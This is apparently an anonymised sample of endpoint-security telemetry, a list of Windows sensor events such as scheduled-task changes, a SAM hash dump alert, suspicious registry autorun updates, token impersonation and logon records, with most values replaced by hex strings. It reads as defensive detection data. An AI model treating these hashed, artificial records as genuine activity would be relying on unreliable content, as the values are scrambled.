-{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"}
-{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task>","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"}
-{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
-{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"}
-{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"}
-{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"}
